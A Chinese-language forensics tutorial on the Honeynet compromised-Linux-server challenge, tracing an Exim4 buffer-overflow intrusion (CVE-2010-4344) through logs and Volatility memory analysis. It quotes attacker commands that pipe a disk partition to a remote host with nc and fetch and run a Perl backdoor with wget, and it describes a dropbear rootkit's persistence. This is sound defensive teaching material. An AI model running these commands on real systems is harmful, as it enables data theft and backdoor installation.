Compromised Server--取证挑战
字数 1745 2025-08-26 22:11:29
Linux服务器取证分析教学文档
1. 案例背景
本教学文档基于Honeynet组织的竞赛项目,分析一个被入侵的Linux服务器镜像。通过这个案例,我们将学习如何对Linux系统进行全面的取证分析。
2. 取证工具准备
2.1 所需工具
- Volatility:内存取证分析工具
- 挂载工具:用于挂载磁盘镜像
- 文本编辑器:查看日志文件
2.2 Volatility配置
- 安装Volatility
- 根据目标系统版本下载对应的profile文件(本例为Debian 5.0)
- 将profile文件放在
volatility/plugins/overlays/linux目录下 - 验证profile是否正确加载:
volatility --info
3. 取证分析步骤
3.1 确定触发警报的服务和账户
- 挂载系统镜像到/mnt目录
- 查看系统日志文件:
cat /mnt/var/log/auth.log - 分析发现大量SSH无效登录尝试,攻击目标账户为
ulysses
3.2 确定目标服务器操作系统信息
-
查看系统版本:
cat /mnt/etc/issue- 结果显示为Debian发行版5.0
-
查看内核信息:
cat /mnt/var/log/dmesg- 具体版本:Linux内核2.6.26
- 内存和缓存信息
-
使用Volatility查看CPU信息:
volatility --profile=LinuxDebian5_0x86 -f memory.dump linux_cpuinfo
3.3 分析运行中的进程
- 使用Volatility查看进程列表:
volatility --profile=LinuxDebian5_0x86 -f memory.dump linux_pslist
3.4 确定攻击者和目标主机的IP
-
分析邮件日志:
cat /mnt/var/log/mail.log cat /mnt/var/log/reject.log- 攻击者IP:192.168.56.1和192.168.56.101
-
分析认证日志:
cat /mnt/var/log/auth.log- 显示攻击者在192.168.56.1上多次尝试SSH登录
-
使用Volatility分析网络连接:
volatility --profile=LinuxDebian5_0x86 -f memory.dump linux_netstat- 目标主机IP:192.168.56.102
- 攻击连接:192.168.56.1在4444和8888端口建立连接
3.5 确定被攻击的服务
- 分析exim4的mainlog日志:
cat /mnt/var/log/exim4/mainlog- 攻击者发送的电子邮件数据过大
- 包含恶意命令:调用服务器192.168.56.1下载文件c.pl和rk.tar
- 结论:被攻击的服务是exim4邮件服务器
3.6 攻击类型分析
- 通过日志分析确定为Exim4的缓冲区溢出攻击
- 对应CVE编号:CVE-2010-4344
- 参考链接:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4344
3.7 攻击者收获分析
- 查看root用户的历史命令:
cat /mnt/root/.bash_history - 发现攻击者使用dd命令复制了整个sda1分区:
dd if=/dev/sda1 | nc 192.168.56.1 4444
3.8 攻击者下载的文件分析
-
下载的文件:
- /tmp/c.pl
- /tmp/rk.tar
-
c.pl分析:
- Perl脚本,用于创建C程序
- 编译后提供支持SUID的可执行文件
- 打开后门并向攻击者传输信息
- 攻击者执行命令:
wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl 192.168.56.1 4444
-
rk.tar分析:
- 压缩形式的dropbear rootkit
- 包含内容:
- shell脚本:用于监听端口和设置家目录的变量文件
- install.sh:
- 创建vars.sh中指定的rkhome目录
- 添加到所有init文件中自动启动
- 在端口44965中作为后门shell启动dropbear
- 错误的iptables配置:
(本意应该是允许入站连接45295端口)iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP
3.9 网络连接状态分析
- 使用Volatility分析网络连接状态:
- Established:已建立的连接
- Listen:监听状态的端口
- Close:已关闭的连接
4. 总结与防御建议
4.1 攻击流程总结
- 攻击者通过Exim4的缓冲区溢出漏洞(CVE-2010-4344)入侵系统
- 下载并执行恶意脚本c.pl和rootkit rk.tar
- 建立后门连接(4444和8888端口)
- 使用dd命令窃取整个磁盘数据
4.2 防御建议
- 及时更新邮件服务器软件,修补已知漏洞
- 监控系统日志中的异常登录尝试
- 限制root账户的直接登录
- 定期检查系统上的可疑文件和进程
- 正确配置防火墙规则
- 监控异常网络连接
- 对重要系统文件设置完整性检查
5. 扩展学习
- 深入理解Exim4缓冲区溢出漏洞原理
- 学习Linux rootkit的检测和清除方法
- 掌握Volatility工具的高级用法
- 研究Linux系统日志的分析技巧
- 学习网络取证分析方法
通过本案例的完整分析,我们掌握了Linux系统取证的基本流程和方法,能够对类似的入侵事件进行有效的调查和分析。